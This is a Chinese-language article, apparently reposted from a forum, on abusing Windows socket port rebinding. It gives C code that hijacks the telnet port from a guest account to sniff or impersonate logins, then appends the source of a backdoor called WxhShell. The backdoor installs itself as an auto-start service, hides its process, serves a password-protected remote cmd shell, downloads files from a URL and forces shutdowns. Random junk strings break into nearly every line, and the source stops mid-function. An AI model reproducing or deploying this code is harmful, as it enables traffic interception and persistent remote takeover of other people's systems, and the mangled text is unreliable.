在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
LL|$M;S
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
GV#"2{t
j EpSVHD:* saddr.sin_family = AF_INET;
e#JJd= /*!K4)$-*2 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
)%Z<9k = zW}vm } bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
/> c F 8X!^ 2B}J 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
'hfQ4EN Q4\EI=4P] 这意味着什么?意味着可以进行如下的攻击:
QyQ&xgS <iVn!P 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
&dp<i[ec^ U1G"T(;s: 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
u!?cKZw Tm~a&p 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
L^uO.eI"m ^M6xRkI 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
NBZFIFO< -:b0fKn 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
fa9c!xDt 3Xyu`zS& 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
wR
+C> <o,]f E[ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
=u
W+>;] .)~IoIW= #include
URS6
LM #include
H4p N+ #include
!]=[h #include
FB-?{78~ DWORD WINAPI ClientThread(LPVOID lpParam);
jPU:&1(_ n int main()
$,Y\ {
u^T)4~( WORD wVersionRequested;
&QFg= DWORD ret;
Lb;:< WSADATA wsaData;
SVWtKc< BOOL val;
4%>iIPXi.( SOCKADDR_IN saddr;
Uu
~BErEC SOCKADDR_IN scaddr;
SE/GT:} int err;
Y5e6|b| SOCKET s;
p'z
fo! SOCKET sc;
rKg~H=4x2 int caddsize;
.si!`?K%[ HANDLE mt;
T {Q] DWORD tid;
- ` F#MN wVersionRequested = MAKEWORD( 2, 2 );
Y1? wf. err = WSAStartup( wVersionRequested, &wsaData );
NF+^ if ( err != 0 ) {
?CIMez(h printf("error!WSAStartup failed!\n");
vpu20?E>5z return -1;
_1_CYrUc }
_tDSG] saddr.sin_family = AF_INET;
a<-NB9o~v "
UaUaSg# //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
7qj<|US 21i ?$ uU saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
cnJ(Fv_F$ saddr.sin_port = htons(23);
&?C%
-"|c if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
e@N@8i"q5 {
H:byCFN- printf("error!socket failed!\n");
[)UL}vAO\q return -1;
VsEMF i= }
6S7 =+> val = TRUE;
T pXbJ]o9 //SO_REUSEADDR选项就是可以实现端口重绑定的
%_Gc9SI if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
L:UJur% {
j6<o,0P printf("error!setsockopt failed!\n");
Ve\^(9n return -1;
'jh9n7mH }
[~e{58}J| //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
xQ4 5B`$ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
6$]@}O^V //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
vt)u`/u <^>O<P:v if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
,SQmQ6h {
2\Bt~;EIx ret=GetLastError();
bV c"'RQ printf("error!bind failed!\n");
&L6xagR7M return -1;
d$.t0-lC }
;s{k32e listen(s,2);
8+'9K%'@qX while(1)
('k;Ikut {
#mu3`,9V caddsize = sizeof(scaddr);
2_i/ F)W //接受连接请求
TY,5]*86I& sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
}i,LP1R if(sc!=INVALID_SOCKET)
o"h*@. {
$M%<i~VXe& mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
W~(4t:hp if(mt==NULL)
2P)*Y5`KBH {
x[XN;W& printf("Thread Creat Failed!\n");
$&D$Uc`U> break;
vX|i5P0)8 }
@hC ,J }
NQb!?w CloseHandle(mt);
^f][;>c }
rjsqXo:9 closesocket(s);
cTlitf9 WSACleanup();
@~WSWlQW return 0;
rBNl%+ sB }
AcC'hr.N+ DWORD WINAPI ClientThread(LPVOID lpParam)
I!\;NVhv {
d@-s_gw SOCKET ss = (SOCKET)lpParam;
g Mhn\ SOCKET sc;
*\W
*,D.I unsigned char buf[4096];
4rXjso| SOCKADDR_IN saddr;
/;P* ? long num;
@N^?I*|u DWORD val;
& !0 [T
DWORD ret;
.FV
wZ:d //如果是隐藏端口应用的话,可以在此处加一些判断
;yd[QT<I< //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
S#gIfb<D saddr.sin_family = AF_INET;
J*4byu| saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
}M_Yn0(3 saddr.sin_port = htons(23);
#"PI%& if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
*WS'C}T {
4n1-@qTPF~ printf("error!socket failed!\n");
4q%hn3\ return -1;
m3o+iYkMD }
WEX6I16 val = 100;
:.xdG>\n3 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
!a
%6nBo {
f(=3'wQ ret = GetLastError();
eAkC-Fm
return -1;
]*fiLYe9 }
&+"-'7 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
2Mqac:L {
"Yh[-[, ret = GetLastError();
?r< F/$/ return -1;
~n)gP9Hv }
WsHC%+\' if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
JjO="Cmk/ {
X0G
Mly printf("error!socket connect failed!\n");
fK-tvP0}* closesocket(sc);
lawjGI closesocket(ss);
y~ubH{O# return -1;
-v]vm3Na }
F|Y}X|x8Q while(1)
<qGVOAnz+ {
(WoKrd.! //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
BNA` Cc1VV //如果是嗅探内容的话,可以再此处进行内容分析和记录
YGAB2`!U //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
zpPzXQv]/ num = recv(ss,buf,4096,0);
i^Ba?r;* if(num>0)
Kterp%J? send(sc,buf,num,0);
SM3qPlsF else if(num==0)
vsFRWpq break;
{3V% num = recv(sc,buf,4096,0);
*^h$%<QI if(num>0)
D I`
M send(ss,buf,num,0);
f[S$Gu4- else if(num==0)
N\Nw mx break;
SLCV|@G }
P.8CFlX closesocket(ss);
'a&( r; closesocket(sc);
=aL=SC+ return 0 ;
A'jw;{8NpF }
l8O12 ,2*^G;J1 L\O}q ==========================================================
+i %,+3#6 u<}PcI. 下边附上一个代码,,WXhSHELL
ux8: HTpoYxn( ==========================================================
^M51@sXI7 I $5*Puy# #include "stdafx.h"
?/EyfTex Ds}ctL{6" #include <stdio.h>
cwe@W PE2 #include <string.h>
$s[DT!8N #include <windows.h>
#zRT #include <winsock2.h>
627xR$U~ #include <winsvc.h>
sE,Q:@H5 #include <urlmon.h>
-~wGJM
VA WKHEU)'! #pragma comment (lib, "Ws2_32.lib")
;JNI$DR #pragma comment (lib, "urlmon.lib")
x{Gdr51% xKol #define MAX_USER 100 // 最大客户端连接数
@(;zU~l/ #define BUF_SOCK 200 // sock buffer
yP&SA+ #define KEY_BUFF 255 // 输入 buffer
rXortK#\% bU(H2Fv #define REBOOT 0 // 重启
DA0{s #define SHUTDOWN 1 // 关机
$}9.4`F> K5oVB,z) #define DEF_PORT 5000 // 监听端口
Jl,mYFEZ YLEk
M
#define REG_LEN 16 // 注册表键长度
`63?FzTy #define SVC_LEN 80 // NT服务名长度
SI/@Bbd= 6f$h1$$)^ // 从dll定义API
uTSTBI4t typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
uude<d"U typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
<%@S-+D`] typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
~-1!?t/% typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
d;Uzl1; z j[/~I // wxhshell配置信息
kX\\t.nH struct WSCFG {
$U{\T4 int ws_port; // 监听端口
]+ \]2`? char ws_passstr[REG_LEN]; // 口令
5>o<!0g int ws_autoins; // 安装标记, 1=yes 0=no
2E@ ! char ws_regname[REG_LEN]; // 注册表键名
upD2vtU char ws_svcname[REG_LEN]; // 服务名
@R!f(\ char ws_svcdisp[SVC_LEN]; // 服务显示名
,$lOQ7R1( char ws_svcdesc[SVC_LEN]; // 服务描述信息
dWg09 sx char ws_passmsg[SVC_LEN]; // 密码输入提示信息
#D{jNSB int ws_downexe; // 下载执行标记, 1=yes 0=no
[CCj5N1/ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
AqD)2O{VO char ws_filenam[SVC_LEN]; // 下载后保存的文件名
^t|CD|,K_O *2$I,
~(P };
1|+Zmo" Pf?*bI // default Wxhshell configuration
3L;GfYr0 struct WSCFG wscfg={DEF_PORT,
ujo3"j[b "xuhuanlingzhe",
l1Zf#]x 1,
(l|:$%[0 "Wxhshell",
ywPFL/@ "Wxhshell",
} s0?RH "WxhShell Service",
v|VfSLZTb "Wrsky Windows CmdShell Service",
R4?OFhN9 "Please Input Your Password: ",
"zT#*>U 1,
L(a){<c "
http://www.wrsky.com/wxhshell.exe",
K#O8P+n5[ "Wxhshell.exe"
sQBl9E'!be };
[sM~B qre.^6x // 消息定义模块
=bVaB<! char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
DOr()X char *msg_ws_prompt="\n\r? for help\n\r#>";
'+!@c&d#%o char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
YW|KkHi* char *msg_ws_ext="\n\rExit.";
"IK QFt' char *msg_ws_end="\n\rQuit.";
q#8$@*I char *msg_ws_boot="\n\rReboot...";
kt.y"^ char *msg_ws_poff="\n\rShutdown...";
Cg~GlZk} char *msg_ws_down="\n\rSave to ";
Jgf73IX[ #$<7 char *msg_ws_err="\n\rErr!";
[Rqv49n*V char *msg_ws_ok="\n\rOK!";
Sdc
yL%6! {AJcYZV char ExeFile[MAX_PATH];
}'?N+MN int nUser = 0;
;au-NY HANDLE handles[MAX_USER];
$;9zD11 int OsIsNt;
SiD [54OM R\L0 SERVICE_STATUS serviceStatus;
:/Zy=F9: SERVICE_STATUS_HANDLE hServiceStatusHandle;
f}4bnu3 -Qs4s // 函数声明
RJ#xq#l int Install(void);
;8Z\bHQ> int Uninstall(void);
N8<Wm>GLX~ int DownloadFile(char *sURL, SOCKET wsh);
+/g/+B_b int Boot(int flag);
E1atXx void HideProc(void);
p4\r` int GetOsVer(void);
Z#-:zD7_ int Wxhshell(SOCKET wsl);
Qx9lcO_ void TalkWithClient(void *cs);
a0vg%Z@! int CmdShell(SOCKET sock);
t@a2@dX| int StartFromService(void);
C?UV3 int StartWxhshell(LPSTR lpCmdLine);
ZDmBuf
q 0;*1g47\ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
h\ZnUn_J VOID WINAPI NTServiceHandler( DWORD fdwControl );
1:3I G= Q%.V\8#|V // 数据结构和表定义
4X0k1Fw)Y SERVICE_TABLE_ENTRY DispatchTable[] =
[Rz9Di ; {
``~7z;E%@ {wscfg.ws_svcname, NTServiceMain},
-ejH%CT {NULL, NULL}
B2QC#R };
[SluYmW +Om(&\c(6 // 自我安装
(GLd"Zq int Install(void)
Gw"H#9J}
T {
,ux?wa+ char svExeFile[MAX_PATH];
!nQ!J+ g HKEY key;
x Z3b)j2D strcpy(svExeFile,ExeFile);
>x(3p@6p +V"t't7 // 如果是win9x系统,修改注册表设为自启动
8vhg{L.. if(!OsIsNt) {
";jj` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
&dqC
=oK] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
82w='~y RegCloseKey(key);
99'e)[\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
29]T:I1d[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
H
/E.R[\+x RegCloseKey(key);
F`l r5 return 0;
F,Ls1 }
e8HGST` }
*\?tW]8< }
eOZ0L1JM! else {
gNon*\a,-B _Y7uM6HL\ // 如果是NT以上系统,安装为系统服务
;~&F}!pQ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
K{]!hm,[3 if (schSCManager!=0)
LY}9$1G] {
g\ r%A SC_HANDLE schService = CreateService
b)+;#m (
s~ZLnEb schSCManager,
`QH-VR\_ wscfg.ws_svcname,
SxC wscfg.ws_svcdisp,
Fdgu=qMm SERVICE_ALL_ACCESS,
PcXz4?Q$ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
S#IlWU SERVICE_AUTO_START,
Cr?|bDv}o SERVICE_ERROR_NORMAL,
y{>d&M| svExeFile,
5iE-$,7#L NULL,
&|;XLRHP} NULL,
3h:"-{MW. NULL,
0dv# [ NULL,
xPFNH`O& NULL
Ga5O&`h );
=(ULfz[: if (schService!=0)
0w'%10"&U+ {
9oOr-9t3 CloseServiceHandle(schService);
_*d8:|qw CloseServiceHandle(schSCManager);
`|Aj3a3sND strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
))y`q@ strcat(svExeFile,wscfg.ws_svcname);
[O)
Q\|k
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
9M3XHj RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
F iZe4{(p RegCloseKey(key);
-YF]k}| return 0;
,>6s~' }
^_6.*Mvx }
sEpY&6* CloseServiceHandle(schSCManager);
Eiqx1ZM }
OhC%5=a7 }
]L/h,bVI1 "MH_hzbBF return 1;
"~
1:7{k }
#r\,oXTm q~*9A-MH // 自我卸载
T%{qwZc+mJ int Uninstall(void)
#bxU I{*J {
ElJM.
a HKEY key;
~p9nAACU !q:[$g-@q if(!OsIsNt) {
W(^R-&av if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
FsZW, RegDeleteValue(key,wscfg.ws_regname);
#G'Y2l RegCloseKey(key);
qmNg Ez% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
,(h:0L2v7d RegDeleteValue(key,wscfg.ws_regname);
8ZY F% RegCloseKey(key);
KI* erK
[d return 0;
x|>N }
gIGyY7{(s8 }
~s#vP<QHa }
wR)U&da`@ else {
b`?$;5 oMM+af SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
ZCdlTdY if (schSCManager!=0)
i98>=y~ {
zcF`Z{&+ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
6[r-8_ if (schService!=0)
(o+(YV^ {
Q-scL>IkCb if(DeleteService(schService)!=0) {
$
{Y?jJ CloseServiceHandle(schService);
&NvvaqJ CloseServiceHandle(schSCManager);
iUNlNl ? return 0;
a?_! }
: ,0F_["3 CloseServiceHandle(schService);
_!vxX] }
R07 7eX CloseServiceHandle(schSCManager);
* z,] mi% }
1y\-Iz^ }
*>m,7} L PtfxF]%H return 1;
t0^chlJP$ }
}vppn=[Y ii< /!B( // 从指定url下载文件
9$]I3k int DownloadFile(char *sURL, SOCKET wsh)
BU3VXnqT[ {
$K_G|Wyi HRESULT hr;
3>Ne_kY char seps[]= "/";
h'Gs$o7#P char *token;
>!o||Yn char *file;
WA~PE` U char myURL[MAX_PATH];
PubO|Mf char myFILE[MAX_PATH];
lCyBdY9n hUL5V1-j strcpy(myURL,sURL);
R^[b
I; token=strtok(myURL,seps);
[(*ObvEF while(token!=NULL)
L[Z
SgRTu {
y `)oD0)Fj file=token;
H1!u1k1nl token=strtok(NULL,seps);
75>)1H)Xm }
/'
+GYS U|[+M@F_L GetCurrentDirectory(MAX_PATH,myFILE);
0a1Vj56{) strcat(myFILE, "\\");
#*J+4aw3 strcat(myFILE, file);
2u B66i send(wsh,myFILE,strlen(myFILE),0);
`$kKTc:f send(wsh,"...",3,0);
@51!vQwqR hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Xs,[Z2_iq if(hr==S_OK)
{*#}"/:8K return 0;
)GbVgYkk else
AeQIsrAHE return 1;
A>0wqT $w:7$:k }
&:]ej6V'[ =Gl6~lJ{_ // 系统电源模块
G<dWh.|`= int Boot(int flag)
\{g;|Z1 {
y{Fq'w!ap HANDLE hToken;
d9@Pze">e TOKEN_PRIVILEGES tkp;
<1^\,cI2 ;+86q"&n if(OsIsNt) {
f( %r)% OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
5V"Fy&}: LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
$|0?$U7! tkp.PrivilegeCount = 1;
5eP0W# tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
[/P}1
c[)U AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
3U.?Jbm-8 if(flag==REBOOT) {
tTX@Bb8 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
8w 2$H return 0;
3#d? }
'[T#d! T else {
JDa=+\_ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
|._9;T-Yde return 0;
cH==OM7&- }
KNI* : }
GnCO{"n else {
])v,zp"u if(flag==REBOOT) {
Y6&B%t<bo if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
zi7>!#( return 0;
,JLY
oE+ }
qG Abh else {
tf:4}6P1 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
X+R?>xq{=h return 0;
wZAY0@pA }
"s?!1v(v }
NWNPq" G!%Cc0d"7 return 1;
1cA4-,YO> }
nVSuvq|S xJ0Q8A // win9x进程隐藏模块
;z>?-
j void HideProc(void)
|=\w b^l+ {
oo+nqc`,O eD#R4 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
H@j
D% if ( hKernel != NULL )
W-72&\7 {
BAJEn6f? pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
*[ @k=!73 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
y*f5_ FreeLibrary(hKernel);
Q?1'
JF!G }
S4'\=w# 8J5{}4s\f return;
@2Spfj_e }
CO)BF%?B L\`uD[g // 获取操作系统版本
XBTtfl
& int GetOsVer(void)
!BQ:R(w {
)/B'
ODa OSVERSIONINFO winfo;
hwon^? winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Msk^H7 GetVersionEx(&winfo);
>3{l"SPU if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
b`TA2h return 1;
e>FK5rz else
*irYSTA$ return 0;
nMBKZ }
qjtrU#n
C0Oe$&
_ // 客户端句柄模块
G"xa"hGF int Wxhshell(SOCKET wsl)
EYLqg`2A {
6)@Y 41H]C SOCKET wsh;
&+K:pU?[$ struct sockaddr_in client;
?6m6 4{M DWORD myID;
0/vmj,&B( 7,pn0,HI while(nUser<MAX_USER)
0_A|K>7 {
$@wTc int nSize=sizeof(client);
o1d ECLQa wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
vz~QR i* if(wsh==INVALID_SOCKET) return 1;
1TuN pOe"S handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
j;3hQOl if(handles[nUser]==0)
RCgn\ closesocket(wsh);
R cz;|h8 else
Cq<a|t nUser++;
a$7}41F[~s }
KA"D2j9wn WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
,g"[7Za )S,Rx return 0;
_a?(JzLw5 }
|3h-F5V) O< \i{4}} // 关闭 socket
K<_bG<tm_ void CloseIt(SOCKET wsh)
@N?u{|R:d {
1Re5)Y:i closesocket(wsh);
/W vgC) nUser--;
8
<~E;: ExitThread(0);
)-RI }
~zcHpxO^W 4"=(kC~~ // 客户端请求句柄
6dzY9 void TalkWithClient(void *cs)
?xb4y=P7 {
'JjW5 Q&X#(3&' SOCKET wsh=(SOCKET)cs;
!:N&tuJEv char pwd[SVC_LEN];
z-Ndv;: char cmd[KEY_BUFF];
]<zjD%Ez char chr[1];
[Ju5O[o int i,j;
k3w(KH@ 5 wT
e? while (nUser < MAX_USER) {
.5'_5>tkv 2<
"- if(wscfg.ws_passstr) {
&* Aems{- if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
7a0kat'\ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Q#Vg5H4 //ZeroMemory(pwd,KEY_BUFF);
V"r2 t9A i=0;
OH* while(i<SVC_LEN) {
(PM!{u= HZ+l){u // 设置超时
-/7[\S fd_set FdRead;
XITh_S4fs= struct timeval TimeOut;
SGp}(j> FD_ZERO(&FdRead);
Q)$RE{*- FD_SET(wsh,&FdRead);
15 /lX TimeOut.tv_sec=8;
\QZ~w_ TimeOut.tv_usec=0;
qrK\f int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
y\M K d[G7 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
';\v:dP &t1Uk[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
saj%[Gsy pwd
=chr[0]; :d!qZFln
if(chr[0]==0xd || chr[0]==0xa) { y>5??q
pwd=0; j&c YRKpz
break; B F,8[|%#
}
RAh4#8]
i++; |P>Yf0
} n@`:"j%s_
/jtU<uX
// 如果是非法用户,关闭 socket v{T%`WuPRf
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rZK;=\Ot
} .wb[cCUQ
bS!4vc1`2
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )5O E~}>
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J$/'nL<{^
3 cb$g
while(1) { 9 :ubPqt
!
/^Jma7n
ZeroMemory(cmd,KEY_BUFF); mF@)l]UZ'
GjfPba4>
// 自动支持客户端 telnet标准 X>$s>})Y
j=0; REj<2Lo
while(j<KEY_BUFF) { K4{1}bU{>
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /4!.G#DLQ
cmd[j]=chr[0]; u@{z
xYn
if(chr[0]==0xa || chr[0]==0xd) { 3rUuRsXn
cmd[j]=0; )qL UHE=
break; [2 yxTK
} g9XAUZe
j++; /ta5d;@
} @uJ^k
>B
M(8Mj[>>Rj
// 下载文件 h5do?b v!
if(strstr(cmd,"http://")) { zBKfaQI,
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?##3E,
/"9
if(DownloadFile(cmd,wsh)) ?c;T4@mB
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~hk;OB;
else .C=I~Z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eBs4:R_i
} BS@x&DB
else { vK10p)ZV
9bxBm
switch(cmd[0]) { }5??n~:*5
Pcs62aE
// 帮助 @N% /v*
case '?': { '@WpJ{]A
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'PBuf:9lN
break; z
K +C&X
} %^?yI
// 安装 jMP!/t
:w
case 'i': { uYu/0fQD
if(Install()) %!vgAH4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cr a@
else w~n7l97Pw
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "7.
lsL5
break; z5k9|.hgw
} iem@K
// 卸载 0]._|Ubn6)
case 'r': { 9eh9@~mU"l
if(Uninstall()) XeJ|Z)qZ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `-J$7)d@
else WYayr1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dTwZ-%
break; 2`ED?F68gH
} itpljh
// 显示 wxhshell 所在路径 A{QXzoWkg0
case 'p': { ]5_6m;g
char svExeFile[MAX_PATH]; %_>+K;<
strcpy(svExeFile,"\n\r"); S
Y7'S#
strcat(svExeFile,ExeFile); l"ZfgJ}W
send(wsh,svExeFile,strlen(svExeFile),0); Wi5rXZS
break; pT;{05
} .vm.g=-q
// 重启 (0cL!
N;;
case 'b': { bY>JLRQJ-
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c@ea
;Cv
if(Boot(REBOOT)) 4P(ysTuM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); RhPEda2
else { :9=J=G*
closesocket(wsh); CB1AL]|3
ExitThread(0); L(
B(x>w
} (oiF05n
h
break; i=ztWKwKf
} >,#73u#
// 关机 ,];4+&|8kW
case 'd': { Naqz":%.
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); IdzrQP
if(Boot(SHUTDOWN)) @=0O'XM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &M5_G$5n
else { 3!OO_
closesocket(wsh); }Efz+>F02
ExitThread(0); -y+u0,=p.
} >e4w8Svcy
break; aglW\LT^
} tI&E@
// 获取shell bB#6Xx
case 's': { 49;2tl;F
CmdShell(wsh); QSNLo_z
closesocket(wsh); YdT-E
ExitThread(0); r8uc. z2%
break; t622b?w
} |}O9'fyU8
// 退出 ! 54(K6a[
case 'x': { ,M)NC%0X
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bns([F
CloseIt(wsh); R06zca
break; L+b"d3!G&%
} &M6cCT]&M
// 离开 y9>?
case 'q': { 2|8&=K /
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2S{IZ]
closesocket(wsh); sXmZ0Dv
WSACleanup(); x,3oa_'E
exit(1); bO:m^*
break; u3Jsu=Nx-
} ^&|$&7
} yQ3*~d~U|L
} ;?A?1q8*
>UQ`@GdafR
// 提示信息 KioD/
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n*
7mP
} ?pLKUA h
} 5nhc|E)C
G#~6a%VW
return; 3cp"UU}.
} j1LL[+G-"_
"* Qwaq_
// shell模块句柄 v8<MAq
int CmdShell(SOCKET sock)
Fs bX{
{ NyJ=^=F#
STARTUPINFO si; nKoc%TNqe
ZeroMemory(&si,sizeof(si)); d_5wMK6O6
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -bq\2Yc$]
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g@ ZZcBx
PROCESS_INFORMATION ProcessInfo; X[XSf=
char cmdline[]="cmd"; 6}vPwI
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &;)6G1X1
return 0; _*.Wo"[%[X
} wkp|V{k
hgz7dF
// 自身启动模式 <^Hh5kfS'
int StartFromService(void) >#MGGCGL
{ Q>FuNdUk
typedef struct L'>t:^QTh
{ ]('isq,P
DWORD ExitStatus; |c]Y1WwDx
DWORD PebBaseAddress; ?2g\y@
DWORD AffinityMask; !7:~"kk
